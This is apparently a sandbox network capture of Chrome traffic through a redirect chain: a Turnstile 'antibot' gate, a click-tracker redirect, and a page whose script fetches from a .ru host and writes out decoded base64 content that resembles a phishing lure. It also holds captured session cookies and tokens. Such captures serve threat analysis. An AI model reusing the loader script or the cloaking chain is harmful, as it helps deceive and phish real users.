2024-08-23 14:21:26 UTC	596	OUT	Data Raw: 7b 22 73 69 74 65 6b 65 79 22 3a 22 30 78 34 41 41 41 41 41 41 41 68 6b 66 4b 31 6e 7a 38 6a 6a 47 2d 77 45 22 2c 22 73 65 63 6f 6e 64 61 72 79 54 6f 6b 65 6e 22 3a 22 30 2e 56 38 57 6b 50 70 62 63 39 58 46 48 71 48 6e 4f 42 44 46 65 31 70 46 69 5f 44 49 47 6b 34 5a 67 4a 75 67 67 78 61 48 41 4a 33 6a 36 4e 63 73 56 4a 4f 6b 75 72 6d 33 77 38 30 69 5a 4c 63 51 61 69 34 74 77 34 4a 73 4e 36 73 53 6b 52 30 51 38 56 70 4e 5a 76 53 31 58 61 50 32 4f 4b 69 57 49 66 76 6d 2d 31 75 42 7a 76 4e 30 6e 49 65 57 6c 47 54 52 69 32 37 30 77 4f 51 32 53 30 6b 73 71 36 79 61 68 77 72 61 79 2d 72 6e 52 6e 63 5a 5f 6b 6f 64 6c 32 65 72 72 4f 36 74 61 6e 5f 4a 56 73 5a 6c 46 74 2d 6f 65 39 5a 33 75 71 42 43 6f 6c 44 58 39 4e 68 78 33 55 52 59 76 65 72 2d 54 70 59 47 4b 45 Data Ascii: {"sitekey":"0x4AAAAAAAhkfK1nz8jjG-wE","secondaryToken":"0.V8WkPpbc9XFHqHnOBDFe1pFi_DIGk4ZgJuggxaHAJ3j6NcsVJOkurm3w80iZLcQai4tw4JsN6sSkR0Q8VpNZvS1XaP2OKiWIfvm-1uBzvN0nIeWlGTRi270wOQ2S0ksq6yahwray-rnRncZ_kodl2errO6tan_JVsZlFt-oe9Z3uqBColDX9Nhx3URYver-TpYGKE
2024-08-23 14:21:27 UTC	291	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:27 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT Accept-Ranges: bytes Content-Length: 4217 Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== Content-Type: text/html
2024-08-23 14:21:27 UTC	4217	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 4f 4d 49 4e 47 20 53 4f 4f 4e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 67 69 6d 67 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 69 64 64 6c 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 3e 43 4f 4d 49 4e 47 20 53 4f 4f 4e 3c 2f 68 31 3e 0a 20 20 20 20 20 20 20 20 3c 68 72 3e 0a 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 64 65 6d 6f 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 22 3e 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 62 6f 64 79 2c 0a 20 20 20 20 20 20 68 74 6d Data Ascii: <html> <head> <title>COMING SOON</title> <body> <div class="bgimg"> <div class="middle"> <h1>COMING SOON</h1> <hr> <p id="demo" style="font-size:30px"></p> </div> </div> <style> body, htm
2024-08-23 14:21:27 UTC	919	OUT	POST /asdbhewjcjfnjernfreddbecje/cloudflare-antibot/ HTTP/1.1 Host: nursematte.com Connection: keep-alive Content-Length: 539 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://nursematte.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:27 UTC	539	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 75 6a 4e 47 79 76 5a 6f 4d 75 71 42 45 52 70 74 4a 58 45 67 57 32 4c 66 67 79 45 73 48 54 67 69 46 67 54 42 43 56 53 36 5a 6c 65 6c 65 43 54 54 2d 69 5f 4c 78 55 61 6e 6e 4a 46 4e 34 4e 47 7a 36 75 67 72 67 44 45 77 77 63 6e 78 65 7a 48 61 6f 43 30 45 38 61 69 56 34 52 41 39 77 74 41 44 52 6f 5f 33 4d 6d 33 45 32 6d 78 77 42 76 35 46 38 6a 58 46 37 6c 42 51 50 62 66 53 35 49 32 49 6d 4f 38 57 47 2d 4b 6c 41 50 33 30 63 4b 41 63 45 5f 48 50 76 66 71 49 42 30 32 56 75 6e 73 7a 59 35 71 36 69 49 57 62 39 51 43 5a 49 70 67 67 46 64 7a 6d 34 78 51 5a 54 44 43 4c 48 62 38 67 4c 67 63 41 36 31 57 7a 74 75 64 55 41 46 48 4f 78 50 57 63 55 6c 46 70 62 4d 50 72 49 5f 36 67 76 63 44 46 56 6f 76 Data Ascii: cf-turnstile-response=0.ujNGyvZoMuqBERptJXEgW2LfgyEsHTgiFgTBCVS6ZleleCTT-i_LxUannJFN4NGz6ugrgDEwwcnxezHaoC0E8aiV4RA9wtADRo_3Mm3E2mxwBv5F8jXF7lBQPbfS5I2ImO8WG-KlAP30cKAcE_HPvfqIB02VunszY5q6iIWb9QCZIpggFdzm4xQZTDCLHb8gLgcA61WztudUAFHOxPWcUlFpbMPrI_6gvcDFVov
2024-08-23 14:21:30 UTC	435	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:27 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== Content-Length: 212 Content-Type: text/html; charset=UTF-8 eM@D ,MT=zK;N1L:+^E^xn.H"!LKmY1Y8lLM{?<$]tH"X"2N46qyTTPKsJM"~n#]9RY_xqw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49742	162.241.24.35	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:28 UTC	388	OUT	GET /cdn-cgi/challenge-platform/h/b/rc/8b7bbf6dd949c43b HTTP/1.1 Host: nursematte.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:28 UTC	302	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:28 GMT Server: nginx/1.21.6 Content-Type: text/html Content-Length: 4217 Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT Accept-Ranges: bytes Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Server-Cache: true X-Proxy-Cache: MISS
2024-08-23 14:21:28 UTC	4217	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 4f 4d 49 4e 47 20 53 4f 4f 4e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 67 69 6d 67 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 69 64 64 6c 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 3e 43 4f 4d 49 4e 47 20 53 4f 4f 4e 3c 2f 68 31 3e 0a 20 20 20 20 20 20 20 20 3c 68 72 3e 0a 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 64 65 6d 6f 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 22 3e 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 62 6f 64 79 2c 0a 20 20 20 20 20 20 68 74 6d Data Ascii: <html> <head> <title>COMING SOON</title> <body> <div class="bgimg"> <div class="middle"> <h1>COMING SOON</h1> <hr> <p id="demo" style="font-size:30px"></p> </div> </div> <style> body, htm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49746	202.172.26.4	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:32 UTC	754	OUT	GET /st-manager/click/track?id=3834&type=raw&url=https://4qUQE.oustfemin.com/rqMByta/ HTTP/1.1 Host: job555.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://nursematte.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:33 UTC	329	IN	HTTP/1.1 302 Found Date: Fri, 23 Aug 2024 14:21:32 GMT Server: Apache Cache-Control: no-cache, private Strict-Transport-Security: max-age=31536000 Upgrade: h2 Connection: Upgrade, close Location: https://4qUQE.oustfemin.com/rqMByta/ Vary: User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-08-23 14:21:33 UTC	395	IN	Data Raw: 31 38 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 31 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 34 71 55 51 45 2e 6f 75 73 74 66 65 6d 69 6e 2e 63 6f 6d 2f 72 71 4d 42 79 74 61 2f 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 34 71 55 51 45 2e 6f 75 73 74 66 65 6d 69 6e 2e 63 6f 6d 2f 72 71 4d 42 79 74 61 2f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 Data Ascii: 184<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="1;url=https://4qUQE.oustfemin.com/rqMByta/" /> <title>Redirecting to https://4qUQE.oustfemin.com/rqMByta/</title> </head>
2024-08-23 14:21:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49747	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:33 UTC	690	OUT	GET /rqMByta/ HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://nursematte.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:34 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IXVYoR6%2FZuBelpiUxAr7FxLJd2MA0fy9stNUFrmQtugylWbazUKc3s2PTTqdP0pkxCYnrEuw%2BpH3kQxieR%2BgeomskkZOambfmkHNnb1tss3DkT9vr%2FOM3%2B1EUrM%2FgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6InZXZXV4NlBjYWxYYm4vVFVmaE5WTGc9PSIsInZhbHVlIjoiWS9MenhTek9wckNENUczaUlEWGNkRW5IdG9mNTQrVGlpRzNjWmg5SDBaQWVHYVRPTk43VDdPbUg1aWYzd1Z3NjFYNW0zVEExVW8ydkJxcFMya2c0TEpUeGRBZzRUZzJrbjBIcG5JbTF0R1dWd016U0ZpY1ljNDlqeTNmVHRpcVEiLCJtYWMiOiI4ODJlYWFhMzk0OWI1NmU4ZDY0YjNjNGU2MTQ3MWJlZjdkYTAyMjFhMjNhZGZlNTI4NTlhNzUwZjYwMTVjODBiIiwidGFnIjoiIn0%3D; expires=Fri, 23-Aug-2024 16:21:34 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-08-23 14:21:34 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 70 4b 64 6a 6c 34 5a 57 46 55 61 46 52 57 5a 6d 4e 36 54 47 5a 53 55 7a 6c 34 54 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 56 46 46 57 6e 67 35 52 47 74 71 63 33 5a 51 56 56 41 72 65 6d 78 74 56 57 35 59 61 31 6c 44 57 45 4e 46 61 45 4a 77 54 6a 6c 6e 59 6c 5a 7a 4e 31 45 33 62 6b 6f 78 56 7a 59 76 63 6b 4a 30 4e 33 64 4c 65 6d 56 68 51 54 46 75 62 48 5a 70 61 30 78 7a 4f 54 55 30 56 6c 56 48 53 32 30 35 62 31 64 78 62 57 56 4a 57 47 73 33 65 47 56 30 65 48 46 35 65 58 52 53 4f 45 45 35 53 45 6c 31 64 44 45 35 61 6d 77 78 4b 7a 4e 4a 56 6c 64 6c 55 33 70 52 57 6e 4e 6d 61 47 64 7a 59 54 6c 69 59 33 4d 78 55 53 39 79 63 58 41 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlpKdjl4ZWFUaFRWZmN6TGZSUzl4TVE9PSIsInZhbHVlIjoiaVFFWng5RGtqc3ZQVVAremxtVW5Ya1lDWENFaEJwTjlnYlZzN1E3bkoxVzYvckJ0N3dLemVhQTFubHZpa0xzOTU0VlVHS205b1dxbWVJWGs3eGV0eHF5eXRSOEE5SEl1dDE5amwxKzNJVldlU3pRWnNmaGdzYTliY3MxUS9ycXA
2024-08-23 14:21:34 UTC	1369	IN	Data Raw: 34 35 38 39 0d 0a 3c 73 63 72 69 70 74 3e 66 65 74 63 68 28 27 68 74 74 70 73 3a 2f 2f 6e 39 4d 71 2e 73 65 6c 69 6e 73 76 69 2e 72 75 2f 68 71 74 6c 68 6c 68 67 6f 66 78 70 69 63 69 63 6d 7a 6c 67 74 6b 79 42 64 45 50 66 49 69 4f 64 4a 4d 5a 46 41 59 49 4f 4f 5a 47 56 5a 4c 44 42 5a 44 42 53 57 4e 50 56 44 50 43 45 52 53 43 45 59 48 48 50 46 52 42 58 43 56 57 27 2c 20 7b 0d 0a 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0d 0a 7d 29 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 7b 0d 0a 72 65 74 75 72 6e 20 72 65 73 70 6f 6e 73 65 2e 74 65 78 74 28 29 0d 0a 7d 29 2e 74 68 65 6e 28 74 65 78 74 20 3d 3e 20 7b 0d 0a 69 66 28 74 65 78 74 20 3d 3d 20 30 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e Data Ascii: 4589<script>fetch('https://n9Mq.selinsvi.ru/hqtlhlhgofxpicicmzlgtkyBdEPfIiOdJMZFAYIOOZGVZLDBZDBSWNPVDPCERSCEYHHPFRBXCVW', {method: "GET",}).then(response => {return response.text()}).then(text => {if(text == 0){document.write(decodeURICompon
2024-08-23 14:21:34 UTC	1369	IN	Data Raw: 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 55 45 70 77 51 6b 56 70 57 55 4a 4d 63 43 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 31 42 4b 63 45 4a 46 61 56 6c 43 54 48 41 75 59 32 39 75 64 47 46 70 62 6d 56 79 65 33 42 76 63 32 6c 30 61 57 39 75 4f 69 42 79 5a 57 78 68 64 47 6c 32 5a 54 74 30 62 33 41 36 49 44 55 77 63 48 67 37 63 6d 6c 6e 61 48 51 36 49 44 63 79 63 48 67 37 64 32 6c 6b 64 47 67 36 49 44 45 77 4d 43 55 37 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 73 5a 57 5a 30 4f 69 42 32 Data Ascii: XJlbTt9DQp9DQojUEpwQkVpWUJMcCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1BKcEJFaVlCTHAuY29udGFpbmVye3Bvc2l0aW9uOiByZWxhdGl2ZTt0b3A6IDUwcHg7cmlnaHQ6IDcycHg7d2lkdGg6IDEwMCU7cGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2
2024-08-23 14:21:34 UTC	1369	IN	Data Raw: 4e 68 62 47 4d 6f 64 6d 46 79 4b 43 30 74 59 32 46 73 53 43 6b 67 4b 79 41 79 4d 48 42 34 4b 54 73 4e 43 69 41 67 49 43 41 74 4c 57 4e 68 62 46 6c 46 65 48 51 36 49 47 4e 68 62 47 4d 6f 64 6d 46 79 4b 43 30 74 59 32 46 73 53 43 6b 67 4c 53 41 34 4d 48 42 34 4b 54 73 4e 43 69 41 67 49 43 41 74 4c 57 4e 68 62 46 6c 50 64 6d 56 79 52 58 68 30 4f 69 42 6a 59 57 78 6a 4b 48 5a 68 63 69 67 74 4c 57 4e 68 62 45 67 70 49 43 30 67 4f 54 4a 77 65 43 6b 37 44 51 6f 67 49 43 41 67 4c 53 31 6d 62 47 46 77 55 7a 6f 67 4f 54 5a 77 65 44 73 4e 43 69 41 67 49 43 41 74 4c 57 5a 73 59 58 42 49 4f 69 42 6a 59 57 78 6a 4b 44 41 75 4e 54 55 67 4b 69 42 32 59 58 49 6f 4c 53 31 6c 62 6e 5a 49 4b 53 6b 37 44 51 6f 67 49 43 41 67 4c 53 31 6d 62 47 46 77 55 32 4e 68 62 47 56 5a 4f Data Ascii: NhbGModmFyKC0tY2FsSCkgKyAyMHB4KTsNCiAgICAtLWNhbFlFeHQ6IGNhbGModmFyKC0tY2FsSCkgLSA4MHB4KTsNCiAgICAtLWNhbFlPdmVyRXh0OiBjYWxjKHZhcigtLWNhbEgpIC0gOTJweCk7DQogICAgLS1mbGFwUzogOTZweDsNCiAgICAtLWZsYXBIOiBjYWxjKDAuNTUgKiB2YXIoLS1lbnZIKSk7DQogICAgLS1mbGFwU2NhbGVZO
2024-08-23 14:21:34 UTC	1369	IN	Data Raw: 79 62 54 70 30 63 6d 46 75 63 32 78 68 64 47 55 6f 4c 54 45 31 4d 33 42 34 4c 43 30 33 4d 48 42 34 4b 53 42 79 62 33 52 68 64 47 55 6f 4d 6a 68 6b 5a 57 63 70 4f 33 30 4e 43 69 4e 6c 5a 6a 34 75 63 6e 74 33 61 57 52 30 61 44 6f 79 4f 44 64 77 65 44 74 69 59 57 4e 72 5a 33 4a 76 64 57 35 6b 4f 69 4d 78 4e 44 6b 77 5a 47 59 37 64 48 4a 68 62 6e 4e 6d 62 33 4a 74 4f 6e 52 79 59 57 35 7a 62 47 46 30 5a 53 67 74 4d 54 49 77 63 48 67 73 4e 6a 4e 77 65 43 6b 67 63 6d 39 30 59 58 52 6c 4b 43 30 79 4f 47 52 6c 5a 79 6b 37 66 51 30 4b 49 32 56 69 65 33 64 70 5a 48 52 6f 4f 6e 5a 68 63 69 67 74 4c 57 56 75 64 6c 63 70 4f 32 68 6c 61 57 64 6f 64 44 6f 30 4d 48 42 34 4f 32 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 36 49 7a 45 79 4d 32 49 32 5a 44 74 74 59 58 4a 6e 61 57 Data Ascii: ybTp0cmFuc2xhdGUoLTE1M3B4LC03MHB4KSByb3RhdGUoMjhkZWcpO30NCiNlZj4ucnt3aWR0aDoyODdweDtiYWNrZ3JvdW5kOiMxNDkwZGY7dHJhbnNmb3JtOnRyYW5zbGF0ZSgtMTIwcHgsNjNweCkgcm90YXRlKC0yOGRlZyk7fQ0KI2Vie3dpZHRoOnZhcigtLWVudlcpO2hlaWdodDo0MHB4O2JhY2tncm91bmQ6IzEyM2I2ZDttYXJnaW
2024-08-23 14:21:34 UTC	1369	IN	Data Raw: 61 57 52 30 61 44 70 32 59 58 49 6f 4c 53 31 6c 62 6e 5a 58 4b 54 74 68 62 6d 6c 74 59 58 52 70 62 32 34 36 59 32 78 76 63 32 56 6b 4c 57 5a 73 59 58 41 74 63 33 64 70 62 6d 63 67 64 6d 46 79 4b 43 30 74 5a 48 56 79 4b 53 42 70 62 6d 5a 70 62 6d 6c 30 5a 54 74 68 62 6d 6c 74 59 58 52 70 62 32 34 74 64 47 6c 74 61 57 35 6e 4c 57 5a 31 62 6d 4e 30 61 57 39 75 4f 6d 4e 31 59 6d 6c 6a 4c 57 4a 6c 65 6d 6c 6c 63 69 67 77 4c 6a 4d 79 4c 44 41 73 4d 43 34 32 4e 79 77 77 4b 54 74 30 63 6d 46 75 63 32 5a 76 63 6d 30 74 62 33 4a 70 5a 32 6c 75 4f 6e 52 76 63 44 74 30 63 6d 46 75 63 32 5a 76 63 6d 30 36 64 48 4a 68 62 6e 4e 73 59 58 52 6c 57 53 68 6a 59 57 78 6a 4b 43 30 78 49 43 6f 67 64 6d 46 79 4b 43 30 74 5a 57 35 32 53 43 6b 70 4b 53 42 79 62 33 52 68 64 47 55 Data Ascii: aWR0aDp2YXIoLS1lbnZXKTthbmltYXRpb246Y2xvc2VkLWZsYXAtc3dpbmcgdmFyKC0tZHVyKSBpbmZpbml0ZTthbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOmN1YmljLWJlemllcigwLjMyLDAsMC42NywwKTt0cmFuc2Zvcm0tb3JpZ2luOnRvcDt0cmFuc2Zvcm06dHJhbnNsYXRlWShjYWxjKC0xICogdmFyKC0tZW52SCkpKSByb3RhdGU
2024-08-23 14:21:34 UTC	1369	IN	Data Raw: 6d 46 75 63 32 78 68 64 47 56 5a 4b 48 5a 68 63 69 67 74 4c 57 4e 68 62 46 6c 46 65 48 51 70 4b 53 42 7a 59 32 46 73 5a 56 6b 6f 4d 53 6b 37 59 57 35 70 62 57 46 30 61 57 39 75 4c 58 52 70 62 57 6c 75 5a 79 31 6d 64 57 35 6a 64 47 6c 76 62 6a 70 6a 64 57 4a 70 59 79 31 69 5a 58 70 70 5a 58 49 6f 4d 43 34 32 4e 69 77 74 4d 43 34 78 4e 69 77 78 4c 43 30 77 4c 6a 49 35 4b 54 74 39 66 51 30 4b 51 47 74 6c 65 57 5a 79 59 57 31 6c 63 79 42 76 63 47 56 75 5a 57 51 74 5a 6d 78 68 63 43 31 7a 64 32 6c 75 5a 33 73 77 4a 53 77 78 4d 44 41 6c 4c 44 45 30 4c 6a 55 6c 4c 44 63 32 4a 58 74 30 63 6d 46 75 63 32 5a 76 63 6d 30 36 64 48 4a 68 62 6e 4e 73 59 58 52 6c 57 53 67 74 4e 6a 68 77 65 43 6b 67 63 6d 39 30 59 58 52 6c 4d 32 51 6f 4d 53 77 77 4c 44 41 73 4c 54 6b 77 Data Ascii: mFuc2xhdGVZKHZhcigtLWNhbFlFeHQpKSBzY2FsZVkoMSk7YW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjpjdWJpYy1iZXppZXIoMC42NiwtMC4xNiwxLC0wLjI5KTt9fQ0KQGtleWZyYW1lcyBvcGVuZWQtZmxhcC1zd2luZ3swJSwxMDAlLDE0LjUlLDc2JXt0cmFuc2Zvcm06dHJhbnNsYXRlWSgtNjhweCkgcm90YXRlM2QoMSwwLDAsLTkw
2024-08-23 14:21:34 UTC	1369	IN	Data Raw: 39 75 64 47 46 70 62 6d 56 79 49 6a 34 38 5a 47 6c 32 49 47 6c 6b 50 53 4a 6a 62 32 35 30 59 57 6c 75 5a 58 4a 54 61 47 46 6b 62 33 63 69 50 6a 77 76 5a 47 6c 32 50 6a 78 6b 61 58 59 67 61 57 51 39 49 6d 78 76 5a 32 38 69 50 6a 78 6b 61 58 59 67 61 57 51 39 49 6d 5a 73 59 58 42 44 62 32 35 30 59 57 6c 75 5a 58 49 69 50 6a 78 6b 61 58 59 67 61 57 51 39 49 6d 39 77 5a 57 35 6c 5a 45 5a 73 59 58 41 69 50 6a 78 6b 61 58 59 67 61 57 51 39 49 6d 5a 74 59 58 4e 72 49 6a 34 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 6d 62 47 46 77 56 48 4a 70 59 57 35 6e 62 47 55 69 50 6a 77 76 5a 47 6c 32 50 6a 77 76 5a 47 6c 32 50 6a 77 76 5a 47 6c 32 50 6a 78 6b 61 58 59 67 61 57 51 39 49 6d 4e 68 62 43 49 2b 50 47 52 70 64 69 42 6a 62 47 46 7a 63 7a 30 69 64 43 49 2b 50 Data Ascii: 9udGFpbmVyIj48ZGl2IGlkPSJjb250YWluZXJTaGFkb3ciPjwvZGl2PjxkaXYgaWQ9ImxvZ28iPjxkaXYgaWQ9ImZsYXBDb250YWluZXIiPjxkaXYgaWQ9Im9wZW5lZEZsYXAiPjxkaXYgaWQ9ImZtYXNrIj48ZGl2IGNsYXNzPSJmbGFwVHJpYW5nbGUiPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgaWQ9ImNhbCI+PGRpdiBjbGFzcz0idCI+P
2024-08-23 14:21:34 UTC	1369	IN	Data Raw: 70 62 6d 63 67 64 47 38 67 5a 47 38 75 49 45 52 76 62 69 59 6a 4d 44 4d 35 4f 33 51 67 64 32 6c 7a 61 43 42 70 64 43 42 33 5a 58 4a 6c 49 47 56 68 63 32 6c 6c 63 6a 73 67 64 32 6c 7a 61 43 42 35 62 33 55 67 64 32 56 79 5a 53 42 69 5a 58 52 30 5a 58 49 75 49 43 30 74 50 67 6f 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 6a 5a 6c 39 30 64 58 4a 75 63 33 52 70 62 47 55 69 49 47 6c 6b 50 53 4a 6a 5a 69 49 2b 50 43 39 6b 61 58 59 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 63 47 46 6e 5a 57 78 70 62 6d 73 69 49 47 35 68 62 57 55 39 49 6e 42 68 5a 32 56 73 61 57 35 72 49 69 42 32 59 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 Data Ascii: 